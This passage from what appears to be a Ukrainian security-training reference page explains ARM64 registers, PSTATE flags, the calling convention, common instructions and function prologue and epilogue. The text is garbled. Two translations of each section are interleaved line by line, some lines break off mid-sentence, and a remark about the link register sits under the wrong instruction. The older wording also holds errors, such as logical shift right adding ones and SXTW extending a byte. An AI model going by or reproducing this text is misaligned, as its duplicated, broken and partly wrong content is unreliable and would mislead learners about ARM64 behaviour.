Вони часто використовуються для зберігання **базової адреси thread-local storage** регіону пам'яті. Зазвичай перший доступний для читання/запису з EL0, але другий можна читати з EL0 і записувати з EL1 (наприклад ядром).
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
### **PSTATE**
**PSTATE** містить кілька компонентів процесу, серіалізованих у видимому для операційної системи **`SPSR_ELx`** спеціальному реєстрі, де X - це **рівень дозволу** **викликаного** виключення (це дозволяє відновити стан процесу, коли виключення закінчується).\
Це доступні поля:
**PSTATE** містить кілька компонент стану процесу, серіалізованих в операційно-видимому спеціальному регістрі **`SPSR_ELx`**, де X — **рівень дозволів** (permission level) викликаного виключення (це дозволяє відновити стан процесу після завершення виключення).\
Доступні поля:
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
- Умовні прапори **`N`**, **`Z`**, **`C`** та **`V`**:
- Прапорці умов (`N`, `Z`, `C`, `V`):
- **`N`** означає, що операція дала негативний результат
- **`Z`** означає, що операція дала нуль
- **`C`** означає, що операція перенесла
- **`V`** означає, що операція дала підписане переповнення:
- Сума двох позитивних чисел дає негативний результат.
- Сума двох негативних чисел дає позитивний результат.
- У відніманні, коли велике негативне число віднімається від меншого позитивного числа (або навпаки), і результат не може бути представленим у межах заданого розміру біта.
- Очевидно, процесор не знає, чи операція підписана чи ні, тому він перевірить C та V в операціях і вказує, чи відбулося перенесення у випадку, якщо це було підписане або беззнакове.
- **`C`** означає, що сталася перенос (carry)
- **`V`** означає, що сталася арифметична переповнення (signed overflow):
- Сума двох позитивних чисел дала негативний результат.
- Сума двох негативних чисел дала позитивний результат.
- При відніманні, коли велике від’ємне число віднімається від меншого позитивного (або навпаки), і результат не може бути представлений у межах даного розміру бітів.
- Процесор не знає, чи була операція зі знаком або без; тому він перевіряє `C` і `V` у операціях і вказує, чи стався перенос у випадку, якщо операція була знакова або беззнакова.
> [!WARNING]
> Не всі інструкції оновлюють ці прапори. Деякі, такі як **`CMP`** або **`TST`**, роблять це, а інші, які мають суфікс s, такі як **`ADDS`**, також це роблять.
> Не всі інструкції оновлюють ці прапорці. Деякі, як **`CMP`** або **`TST`**, оновлюють, і інші з суфіксом `s`, як **`ADDS`**, також це роблять.
- Поточний **прапор ширини реєстру (`nRW`)**: Якщо прапор має значення 0, програма буде виконуватися в стані виконання AArch64 після відновлення.
- Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0.
- Прапор **одиночного кроку** (**`SS`**): Використовується відладчиками для виконання одиночного кроку, встановлюючи прапор SS в 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виключення одиночного кроку.
- Прапор **недопустимого виключення** (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недопустимий перехід на рівень виключення, цей прапор встановлюється в 1, і процесор викликає виключення недопустимого стану.
- Прапори **`DAIF`**: Ці прапори дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
- Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні перерви**. **`I`** налаштовує відповідь на зовнішні запити переривань (IRQ). а F пов'язаний з **швидкими запитами переривань** (FIR).
- Прапори **вибору вказівника стеку** (**`SPS`**): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням свого власного реєстру вказівника стеку та реєстром моделі користувача (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не можна зробити з EL0.
- Поточний прапорець **ширини регістрів (`nRW`)**: Якщо прапорець має значення 0, програма після відновлення працюватиме в стані виконання AArch64.
- Поточний **Exception Level** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0.
- Прапорець **single stepping** (**`SS`**): Використовується відлагоджувачами для покрокового виконання — шляхом встановлення SS в 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і згенерує single step виключення.
- Прапорець **illegal exception state** (**`IL`**): Використовується для позначення, коли привілейоване ПЗ виконує недопустимий перехід між рівнями виключень; цей прапорець встановлюється в 1, і процесор генерує illegal state exception.
- Прапорці **`DAIF`**: Ці прапорці дозволяють привілейованій програмі селективно маскувати певні зовнішні виключення.
- Якщо **`A`** = 1, це означає, що асинхронні abort-вище згенеруються. **`I`** конфігурує реакцію на зовнішні апаратні Interrupt Requests (IRQs), а **`F`** пов’язаний з Fast Interrupt Requests (FIQs).
- Прапорці **вибору stack pointer** (**`SPS`**): Привілейовані програми, які працюють на EL1 і вище, можуть перемикатися між використанням власного регістру stack pointer і користувацького (наприклад між `SP_EL1` та `EL0`). Це перемикання виконується записом у спеціальний регістр **`SPSel`**. Зробити це з EL0 неможливо.
## **Конвенція виклику (ARM64v8)**
## **Calling Convention (ARM64v8)**
Конвенція виклику ARM64 вказує, що **перші вісім параметрів** до функції передаються в реєстрах **`x0` до `x7`**. **Додаткові** параметри передаються на **стек**. Значення **повернення** передається назад у реєстрі **`x0`**, або в **`x1`**, якщо воно довжиною 128 біт. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій.
У ARM64 calling convention перші вісім параметрів функції передаються в регістрах **`x0`** — **`x7`**. Додаткові параметри передаються по **стеку**. Значення, що повертається, повертається в регістрі **`x0`**, або також в **`x1`**, якщо воно 128-бітне. Регістри **`x19`** до **`x30`** і **`sp`** мають бути **збережені** під час викликів функцій.
При читанні функції в асемблері звертайте увагу на **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **налаштування** нового **вказівника кадру** та **виділення простору в стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції.
При читанні функції в асемблері звертайте увагу на **пролог і епілог функції**. **Пролог** зазвичай включає **збереження frame pointer (`x29`)**, **налаштування нового frame pointer** та **виділення місця в стеку**. **Епілог** зазвичай включає **відновлення збереженого frame pointer** та **повернення** з функції.
### Конвенція виклику в Swift
### Calling Convention in Swift
Swift має свою власну **конвенцію виклику**, яку можна знайти в [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Swift має власну **calling convention**, яку можна знайти за адресою [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **Звичайні інструкції (ARM64v8)**
## **Загальні інструкції (ARM64v8)**
Інструкції ARM64 зазвичай мають **формат `opcode dst, src1, src2`**, де **`opcode`** - це **операція**, що виконується (така як `add`, `sub`, `mov` тощо), **`dst`** - це **реєстр призначення**, куди буде збережено результат, а **`src1`** та **`src2`** - це **реєстри джерела**. Негайні значення також можуть використовуватися замість реєстрів джерела.
Інструкції ARM64 зазвичай мають формат **`opcode dst, src1, src2`**, де **`opcode`** — операція (наприклад `add`, `sub`, `mov` тощо), **`dst`** — регістр-одержувач результату, а **`src1`** і **`src2`** — регістри-джерела. Замість регістрів також можуть використовуватися immediate-значення.
- **`mov`**: **Перемістити** значення з одного **реєстру** в інший.
- Приклад: `mov x0, x1`Це переміщує значення з `x1` в `x0`.
- **`ldr`**: **Завантажити** значення з **пам'яті** в **реєстр**.
- Приклад: `ldr x0, [x1]`Це завантажує значення з пам'ятної адреси, на яку вказує `x1`, в `x0`.
- **Режим зсуву**: Зсув, що впливає на початковий вказівник, вказується, наприклад:
- `ldr x2, [x1, #8]`, це завантажить в x2 значення з x1 + 8
- `ldr x2, [x0, x1, lsl #2]`, це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) \* 4
- **Режим попереднього індексування**: Це застосує обчислення до початкового значення, отримає результат і також зберігає нове початкове значення в початковому.
- `ldr x2, [x1, #8]!`, це завантажить `x1 + 8` в `x2` і зберігає в x1 результат `x1 + 8`
- `str lr, [sp, #-4]!`, Зберегти реєстр зв'язку в sp і оновити реєстр sp
- **Режим постіндексування**: Це схоже на попередній, але адреса пам'яті спочатку доступна, а потім зсув обчислюється та зберігається.
- `ldr x0, [x1], #8`, завантажити `x1` в `x0` і оновити x1 з `x1 + 8`
- **Адресація відносно PC**: У цьому випадку адреса для завантаження обчислюється відносно реєстру PC
- `ldr x1, =_start`, Це завантажить адресу, де символ `_start` починається в x1, відносно поточного PC.
- **`str`**: **Зберегти** значення з **реєстру** в **пам'ять**.
- Приклад: `str x0, [x1]`Це зберігає значення в `x0` в пам'ятній адресі, на яку вказує `x1`.
- **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних пам'ятних** адрес. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.
- Приклад: `ldp x0, x1, [x2]`Це завантажує `x0` та `x1` з пам'ятних адрес `x2` та `x2 + 8` відповідно.
- **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовні пам'ятні** адреси. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.
- Приклад: `stp x0, x1, [sp]`Це зберігає `x0` та `x1` в пам'ятних адресах `sp` та `sp + 8` відповідно.
- `stp x0, x1, [sp, #16]!`Це зберігає `x0` та `x1` в пам'ятних адресах `sp+16` та `sp + 24` відповідно, і оновлює `sp` з `sp+16`.
- **`add`**: **Додати** значення двох реєстрів і зберегти результат у реєстрі.
- **`mov`**: **Перемістити** значення з одного **регістру** в інший.
- Приклад: `mov x0, x1`Переміщує значення з `x1` в `x0`.
- **`ldr`**: **Завантажити** значення з **пам'яті** в **регістр**.
- Приклад: `ldr x0, [x1]`Завантажує значення за адресою в `x1` в `x0`.
- **Режим зі зсувом (Offset mode)**: Зазначається зсув від початкового покажчика, наприклад:
- `ldr x2, [x1, #8]` — завантажить у x2 значення з адреси x1 + 8
- `ldr x2, [x0, x1, lsl #2]` — завантажить в x2 елемент з масиву за базою x0 на позиції x1 (index) * 4
- **Pre-indexed mode**: Обчислює адресу, отримує результат і також оновлює початковий регістр.
- `ldr x2, [x1, #8]!` — завантажить `x1 + 8` в `x2` і збереже в x1 результат `x1 + 8`
- `str lr, [sp, #-4]!` — Зберегти link register в sp і оновити регістр sp
- **Post-index mode**: Подібно до попереднього, але адреса доступу до пам'яті використовується, а потім обчислюється та зберігається зсув.
- `ldr x0, [x1], #8` — завантажити за адресою x1 в x0 і оновити x1 значенням `x1 + 8`
- **PC-relative addressing**: У цьому випадку адреса для завантаження обчислюється відносно регістра PC
- `ldr x1, =_start` — Завантажить адресу символу `_start` в x1 відносно поточного PC.
- **`str`**: **Записати** значення з **регістру** в **пам'ять**.
- Приклад: `str x0, [x1]`Записує значення `x0` у пам'ять за адресою `x1`.
- **`ldp`**: **Load Pair of Registers**. Інструкція завантажує два регістри з послідовних адрес у пам'яті. Адреса формується шляхом додавання зсуву до значення іншого регістра.
- Приклад: `ldp x0, x1, [x2]`Завантажить `x0` і `x1` з пам'яті за адресами `x2` і `x2 + 8` відповідно.
- **`stp`**: **Store Pair of Registers**. Інструкція записує два регістри в послідовні адреси пам'яті.
- Приклад: `stp x0, x1, [sp]`Запише `x0` і `x1` у пам'ять за адресами `sp` і `sp + 8`.
- `stp x0, x1, [sp, #16]!`Запише `x0` і `x1` у пам'ять за адресами `sp+16` і `sp+24`, і оновить `sp` до `sp+16`.
- **`add`**: **Додавання** значень двох регістрів і збереження результату в регістрі.
- Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> Призначення
- Xn2 -> Операнд 1
- Xn3 | #imm -> Операнд 2 (реєстр або негайне)
- \[shift #N | RRX] -> Виконати зсув або виклик RRX
- Приклад: `add x0, x1, x2`Це додає значення в `x1` та `x2` разом і зберігає результат в `x0`.
- `add x5, x5, #1, lsl #12` — Це дорівнює 4096 (1 зсув 12 разів) -> 1 0000 0000 0000 0000
- **`adds`** Це виконує `add` і оновлює прапори
- **`sub`**: **Відняти** значення двох реєстрів і зберегти результат у реєстрі.
- Перевірте **`add`** **синтаксис**.
- Приклад: `sub x0, x1, x2`Це віднімає значення в `x2` від `x1` і зберігає результат в `x0`.
- **`subs`** Це схоже на sub, але оновлює прапор
- **`mul`**: **Помножити** значення **двох реєстрів** і зберегти результат у реєстрі.
- Приклад: `mul x0, x1, x2`Це множить значення в `x1` та `x2` і зберігає результат в `x0`.
- **`div`**: **Поділити** значення одного реєстру на інше і зберегти результат у реєстрі.
- Приклад: `div x0, x1, x2`Це ділить значення в `x1` на `x2` і зберігає результат в `x0`.
- Xn1 -> Destination
- Xn2 -> Operand 1
- Xn3 | #imm -> Операнд 2 (регістр або immediate)
- \[shift #N | RRX] -> Виконати зсув або RRX
- Приклад: `add x0, x1, x2`Додає значення в `x1` і `x2` і зберігає результат в `x0`.
- `add x5, x5, #1, lsl #12` — Це відповідає 4096 (1 зсунутий вліво на 12) -> 1 0000 0000 0000 0000
- **`adds`** — Виконує `add` та оновлює прапорці
- **`sub`**: **Віднімання** значень двох регістрів і збереження результату в регістрі.
- Див. синтаксис **`add`**.
- Приклад: `sub x0, x1, x2`Віднімає `x2` від `x1` і зберігає результат в `x0`.
- **`subs`** — Як `sub`, але оновлює прапорці
- **`mul`**: **Множення** значень двох регістрів і збереження результату в регістрі.
- Приклад: `mul x0, x1, x2`Множить `x1` і `x2` і зберігає результат в `x0`.
- **`div`**: **Ділення** значення одного регістра на інший і збереження результату в регістрі.
- Приклад: `div x0, x1, x2`Ділить `x1` на `x2` і зберігає результат в `x0`.
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **Логічний зсув вліво**: Додає 0 з кінця, переміщуючи інші біти вперед (множить на n разів 2)
- **Логічний зсув вправо**: Додає 1 на початку, переміщуючи інші біти назад (ділить на n разів 2 в беззнаковому)
- **Арифметичний зсув вправо**: Як **`lsr`**, але замість додавання 0, якщо найзначніший біт - 1, **додаються 1** (ділить на n разів 2 в підписаному)
- **Обертання вправо**: Як **`lsr`**, але все, що видаляється з правого боку, додається зліва
- **Обертання вправо з розширенням**: Як **`ror`**, але з прапором переносу як "найзначнішим бітом". Тобто прапор переносу переміщується до біта 31, а видалений біт - до прапора переносу.
- **`bfm`**: **Переміщення бітового поля**, ці операції **копіюють біти `0...n`** з значення та розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує на **найлівішу позицію біта**, а **`#r`** - на **кількість обертів вправо**.
- Переміщення бітового поля: `BFM Xd, Xn, #r`
- Переміщення підписаного бітового поля: `SBFM Xd, Xn, #r, #s`
- Переміщення беззнакового бітового поля: `UBFM Xd, Xn, #r, #s`
- **Витягування та вставка бітового поля:** Копіює бітове поле з одного реєстру та копіює його в інший реєстр.
- **`BFI X1, X2, #3, #4`** Вставити 4 біти з X2 з 3-го біта X1
- **`BFXIL X1, X2, #3, #4`** Витягнути з 3-го біта X2 чотири біти та скопіювати їх в X1
- **`SBFIZ X1, X2, #3, #4`** Розширити знак 4 біт з X2 та вставити їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
- **`SBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2, розширює їх, і поміщає результат в X1
- **`UBFIZ X1, X2, #3, #4`** Нульове розширення 4 біт з X2 та вставка їх в X1, починаючи з позиції біта 3, обнуляючи праві біти
- **`UBFX X1, X2, #3, #4`** Витягує 4 біти, починаючи з біта 3 з X2 та поміщає нульове розширене значення в X1.
- **Розширення знака до X:** Розширює знак (або просто додає 0 в беззнаковій версії) значення, щоб мати можливість виконувати з ним операції:
- **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` є половиною `X2`) для заповнення 64 біт
- **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** для заповнення 64 біт
- **`SXTW X1, W2`** Розширює знак байта **з W2 до X1** для заповнення 64 біт
- **`UXTB X1, W2`** Додає 0 (беззнакове) до байта **з W2 до X1** для заповнення 64 біт
- **`extr`:** Витягує біти з вказаної **пари реєстрів, що конкатенуються**.
- Приклад: `EXTR W3, W2, W1, #3` Це **конкатенує W1+W2** і отримує **з біта 3 W2 до біта 3 W1** і зберігає в W3.
- **`cmp`**: **Порівняти** два реєстри та встановити умови прапорів. Це **псевдонім `subs`**, встановлюючи реєстр призначення в нульовий реєстр. Корисно знати, чи `m == n`.
- Підтримує **той же синтаксис, що й `subs`**
- Приклад: `cmp x0, x1`Це порівнює значення в `x0` та `x1` і відповідно встановлює умови прапорів.
- **`cmn`**: **Порівняти негативний** операнд. У цьому випадку це **псевдонім `adds`** і підтримує той же синтаксис. Корисно знати, чи `m == -n`.
- **`ccmp`**: Умовне порівняння, це порівняння, яке буде виконано лише якщо попереднє порівняння було істинним і спеціально встановить біти nzcv.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 і x3 < x4, перейти до func
- Це тому, що **`ccmp`** буде виконано лише якщо **попереднє `cmp` було `NE`**, якщо ні, біти `nzcv` будуть встановлені в 0 (що не задовольнить порівняння `blt`).
- Це також може бути використано як `ccmn` (те ж саме, але негативне, як `cmp` проти `cmn`).
- **`tst`**: Перевіряє, чи є будь-які з значень порівняння обидва 1 (працює як ANDS без зберігання результату кудись). Корисно перевірити реєстр з значенням і перевірити, чи є будь-які біти реєстру, вказані в значенні, 1.
- Приклад: `tst X1, #7` Перевірити, чи є будь-які з останніх 3 бітів X1 1
- **`teq`**: Операція XOR, відкидаючи результат
- **`b`**: Безумовний перехід
- **Logical shift left**: Додаються нулі праворуч, біти зсуваються вліво (множення на 2^n)
- **Logical shift right**: Додаються нулі зліва (для unsigned) (ділення на 2^n)
- **Arithmetic shift right**: Як `lsr`, але якщо старший біт 1, додаються одиниці (ділення для signed)
- **Rotate right**: Як `lsr`, але біти, які виходять праворуч, додаються зліва
- **Rotate Right with Extend**: Як `ror`, але з використанням прапорця carry як найстаршого біта. Прапорець переноситься в біт 31, а викинутий біт потрапляє в carry.
- **`bfm`**: **Bit Field Move**, ці операції **копіюють біти `0...n`** з одного значення і розміщують їх у позиціях **`m..m+n`**. **`#s`** вказує ліву позицію біта, а **`#r`** — кількість правих ротацій.
- Bitfield move: `BFM Xd, Xn, #r`
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
- **Bitfield Extract and Insert:** Копіює бітове поле з регістра і вставляє його в інший регістр.
- **`BFI X1, X2, #3, #4`** — Вставляє 4 біти з X2 починаючи з 3-го біта в X1
- **`BFXIL X1, X2, #3, #4`** — Витягає з X2 4 біти починаючи з 3-го і копіює їх в X1
- **`SBFIZ X1, X2, #3, #4`** — Знакова розширення 4 біт з X2 і вставляє їх в X1 починаючи з позиції 3, заповнюючи праві біти нулями
- **`SBFX X1, X2, #3, #4`** — Витягає 4 біти з X2 починаючи з біта 3, розширює знак і поміщає результат в X1
- **`UBFIZ X1, X2, #3, #4`** Нульове розширення 4 біт з X2 і вставка в X1 починаючи з позиції 3, заповнюючи праві біти нулями
- **`UBFX X1, X2, #3, #4`** — Витягає 4 біти з X2 починаючи з біта 3 і поміщає нульове розширення в X1.
- **Sign Extend To X:** Розширює знак (або додає нулі в unsigned-версії) значення для виконання операцій:
- **`SXTB X1, W2`** Розширює знак байта **з W2 до X1** (`W2` — половина `X2`) щоб заповнити 64 біти
- **`SXTH X1, W2`** Розширює знак 16-бітного числа **з W2 до X1** щоб заповнити 64 біти
- **`SXTW X1, W2`** — Розширює знак з W2 до X1 щоб заповнити 64 біти
- **`UXTB X1, W2`** — Додає нулі (unsigned) до байта **з W2 до X1** щоб заповнити 64 біти
- **`extr`**: Витягає біти з вказаної пари регістрів, конкатенованих разом.
- Приклад: `EXTR W3, W2, W1, #3` — Це конкатенує W1+W2 і бере біт з позиції 3 від W2 до позиції 3 від W1 і зберігає в W3.
- **`cmp`**: **Порівняння** двох регістрів і встановлення умовних прапорців. Це псевдонім для `subs`, який встановлює регістр призначення в zero register. Корисно для перевірки `m == n`.
- Підтримує той самий синтаксис, що й `subs`.
- Приклад: `cmp x0, x1`Порівнює `x0` і `x1` і встановлює прапорці відповідно.
- **`cmn`**: **Compare negative** операнда. У цьому випадку це псевдонім для `adds` і має той самий синтаксис. Корисно для перевірки `m == -n`.
- **`ccmp`**: Умовне порівняння, виконується лише якщо попереднє порівняння було істинним і спеціально встановлює nzcv-біти.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> якщо x1 != x2 та x3 < x4, перехід до func
- Це працює тому, що **`ccmp`** буде виконано лише якщо попередній `cmp` був `NE`; якщо ні — біти `nzcv` будуть встановлені в 0 (що не задовольнить порівняння `blt`).
- Це також може використовуватися як `ccmn` (те ж саме, але з негативом, як `cmp` vs `cmn`).
- **`tst`**: Перевіряє, чи будь-які біти в результаті AND рівні 1 (працює як `ANDS` без збереження результату). Корисно для перевірки регістра з маскою.
- Приклад: `tst X1, #7` — Перевіряє, чи будь-який з останніх 3 бітів X1 дорівнює 1
- **`teq`**: XOR-операція з відкиданням результату
- **`b`**: Безумовний перехід (Branch)
- Приклад: `b myFunction`
- Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад)
- **`bl`**: **Перехід** з посиланням, використовується для **виклику** **підпрограми**. Зберігає **адресу повернення в `x30`**.
- Приклад: `bl myFunction` — Це викликає функцію `myFunction` і зберігає адресу повернення в `x30`.
- Зверніть увагу, що це не заповнить реєстр зв'язку адресою повернення (не підходить для викликів підпрограм, які потребують повернення назад)
- **`blr`**: **Перехід** з посиланням на реєстр, використовується для **виклику** **підпрограми**, де ціль **вказана** в **реєстрі**. Зберігає адресу повернення в `x30`. (Це
- Приклад: `blr x1` — Це викликає функцію, адреса якої міститься в `x1`, і зберігає адресу повернення в `x30`.
- **`ret`**: **Повернення** з **підпрограми**, зазвичай використовуючи адресу в **`x30`**.
- Приклад: `ret` — Це повертає з поточної підпрограми, використовуючи адресу повернення в `x30`.
- Зверніть увагу, що це не заповнить link register адресою повернення (не підходить для викликів підпрограм, які мають повертатися)
- **`bl`**: **Branch** with link, використовується для **виклику** підпрограми. Зберігає **адресу повернення в `x30`**.
- Приклад: `bl myFunction` — Викликає функцію `myFunction` і зберігає адресу повернення в `x30`.
- **`blr`**: **Branch** with Link to Register, використовується для виклику підпрограми, де ціль вказана в регістрі. Зберігає адресу повернення в `x30`.
- Приклад: `blr x1` — Викликає функцію за адресою в `x1` і зберігає адресу повернення в `x30`.
- **`ret`**: **Повернення** з підпрограми, зазвичай використовуючи адресу в **`x30`**.
- Приклад: `ret` — Повернутись з поточної підпрограми, використовуючи адресу повернення в `x30`.
- **`b.<cond>`**: Умовні переходи
- **`b.eq`**: **Перехід, якщо рівно**, на основі попередньої інструкції `cmp`.
- Приклад: `b.eq label` — Якщо попередня інструкція `cmp` знайшла два рівні значення, це переходить до `label`.
- **`b.ne`**: **Перехід, якщо не рівно**. Ця інструкція перевіряє умови прапорів (які були встановлені попередньою інструкцією порівняння), і якщо порівняні значення не були рівні, вона переходить до мітки або адреси.
- Приклад: Після інструкції `cmp x0, x1`, `b.ne label` — Якщо значення в `x0` та `x1 не були рівні, це переходить до `label`.
- **`cbz`**: **Порівняти та перейти на нуль**. Ця інструкція порівнює реєстр з нулем, і якщо вони рівні, переходить до мітки або адреси.
- Приклад: `cbz x0, label` — Якщо значення в `x0` нульове, це переходить до `label`.
- **`cbnz`**: **Порівняти та перейти на ненульове**. Ця інструкція порівнює реєстр з нулем, і якщо вони не рівні, переходить до мітки або адреси.
- Приклад: `cbnz x0, label` — Якщо значення в `x0` ненульове, це переходить до `label`.
- **`tbnz`**: Перевірити біт і перейти на ненульове
- **`b.eq`**: **Переходити, якщо рівні**, на основі попередньої інструкції `cmp`.
- Приклад: `b.eq label` — Якщо попередній `cmp` виявив рівність, перейти на `label`.
- **`b.ne`**: **Переходити, якщо не рівні**. Перевіряє умовні прапорці і якщо значення не рівні, виконує перехід.
- Приклад: Після `cmp x0, x1`, `b.ne label` — Якщо `x0` != `x1`, перейти на `label`.
- **`cbz`**: **Compare and Branch on Zero**. Порівнює регістр із нулем і, якщо рівний, виконує перехід.
- Приклад: `cbz x0, label` — Якщо `x0` дорівнює нулю, перехід на `label`.
- **`cbnz`**: **Compare and Branch on Non-Zero**. Порівнює регістр із нулем і, якщо не рівний, виконує перехід.
- Приклад: `cbnz x0, label` — Якщо `x0` не нуль, перехід на `label`.
- **`tbnz`**: Test bit and branch on nonzero
- Приклад: `tbnz x0, #8, label`
- **`tbz`**: Перевірити біт і перейти на нуль
- **`tbz`**: Test bit and branch on zero
- Приклад: `tbz x0, #8, label`
- **Умовні вибіркові операції**: Це операції, поведінка яких змінюється в залежності від умовних бітів.
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо істинно, X0 = X1, якщо хибно, X0 = X2
- `csinc Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = Xm + 1
- `cinc Xd, Xn, cond` -> Якщо істинно, Xd = Xn + 1, якщо хибно, Xd = Xn
- `csinv Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = NOT(Xm)
- `cinv Xd, Xn, cond` -> Якщо істинно, Xd = NOT(Xn), якщо хибно, Xd = Xn
- `csneg Xd, Xn, Xm, cond` -> Якщо істинно, Xd = Xn, якщо хибно, Xd = - Xm
- `cneg Xd, Xn, cond` -> Якщо істинно, Xd = - Xn, якщо хибно, Xd = Xn
- `cset Xd, Xn, Xm, cond` -> Якщо істинно, Xd = 1, якщо хибно, Xd = 0
- `csetm Xd, Xn, Xm, cond` -> Якщо істинно, Xd = \<всі 1>, якщо хибно, Xd = 0
- **`adrp`**: Обчислити **адресу сторінки символу** та зберегти її в реєстрі.
- Приклад: `adrp x0, symbol`Це обчислює адресу сторінки символу `symbol` і зберігає її в `x0`.
- **`ldrsw`**: **Завантажити** підписане **32-бітне** значення з пам'яті та **розширити його до 64** біт.
- Приклад: `ldrsw x0, [x1]`Це завантажує підписане 32-бітне значення з пам'ятної адреси, на яку вказує `x1`, розширює його до 64 біт і зберігає в `x0`.
- **`stur`**: **Зберегти значення реєстру в пам'ятну адресу**, використовуючи зсув з іншого реєстру.
- Приклад: `stur x0, [x1, #4]`Це зберігає значення в `x0` в пам'ятній адресі, яка на 4 байти більша, ніж адреса, що зараз в `x1`.
- **`svc`** : Зробити **системний виклик**. Це означає "Системний виклик". Коли процесор виконує цю інструкцію, він **перемикається з режиму користувача в режим ядра** і переходить до певного місця в пам'яті, де знаходиться **код обробки системних викликів ядра**.
- **Умовні операції select**: Операції, поведінка яких залежить від умовних бітів.
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Якщо true, X0 = X1, інакше X0 = X2
- `csinc Xd, Xn, Xm, cond` -> Якщо true, Xd = Xn, інакше Xd = Xm + 1
- `cinc Xd, Xn, cond` -> Якщо true, Xd = Xn + 1, інакше Xd = Xn
- `csinv Xd, Xn, Xm, cond` -> Якщо true, Xd = Xn, інакше Xd = NOT(Xm)
- `cinv Xd, Xn, cond` -> Якщо true, Xd = NOT(Xn), інакше Xd = Xn
- `csneg Xd, Xn, Xm, cond` -> Якщо true, Xd = Xn, інакше Xd = -Xm
- `cneg Xd, Xn, cond` -> Якщо true, Xd = -Xn, інакше Xd = Xn
- `cset Xd, Xn, Xm, cond` -> Якщо true, Xd = 1, інакше Xd = 0
- `csetm Xd, Xn, Xm, cond` -> Якщо true, Xd = \<all 1>, інакше Xd = 0
- **`adrp`**: Обчислити **адресу сторінки символу** і зберегти її в регістр.
- Приклад: `adrp x0, symbol`Обчислить page-адресу `symbol` і збереже її в `x0`.
- **`ldrsw`**: **Завантажити** знакове **32-бітне** значення з пам'яті і **розширити знак до 64** біт.
- Приклад: `ldrsw x0, [x1]`Завантажує знакове 32-бітне значення з пам'яті за адресою в `x1`, розширює знак до 64 біт і зберігає в `x0`.
- **`stur`**: **Записати значення регістру в пам'ять**, використовуючи зсув від іншого регістру.
- Приклад: `stur x0, [x1, #4]`Записує значення `x0` в адресу `x1 + 4`.
- **`svc`**: Виклик системного виклику. Stand for "Supervisor Call". Коли процесор виконує цю інструкцію, він **переключається з user mode в kernel mode** і переходить у певне місце в пам'яті, де знаходиться код обробки системних викликів ядра.
- Приклад:
```armasm
mov x8, 93 ; Завантажити номер системного виклику для виходу (93) в реєстр x8.
mov x0, 0 ; Завантажити код статусу виходу (0) в реєстр x0.
svc 0 ; Зробити системний виклик.
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
```
### **Пролог функції**
1. **Зберегти реєстр зв'язку та вказівник кадру в стек**:
1. **Зберегти link register і frame pointer у стек**:
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
2. **Встановіть новий вказівник кадру**: `mov x29, sp` (встановлює новий вказівник кадру для поточної функції)
3. **Виділіть місце в стеку для локальних змінних** (якщо потрібно): `sub sp, sp, <size>` (де `<size>` - це кількість байтів, що потрібні)
2. **Встановити новий frame pointer**: `mov x29, sp` (встановлює новий frame pointer для поточної функції)
3. **Виділити місце в stack для local variables** (якщо потрібно): `sub sp, sp, <size>` (де `<size>` — кількість байтів, що потрібна)
### **Епілог функції**
1. **Звільніть локальні змінні (якщо вони були виділені)**: `add sp, sp, <size>`
2. **Відновіть регістр посилання та вказівник кадру**:
1. **Звільнити local variables (якщо вони були виділені)**: `add sp, sp, <size>`
2. **Відновити link register і frame pointer**:
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
3. **Return**: `ret` (повертає управління виклику, використовуючи адресу в регістрі посилань)
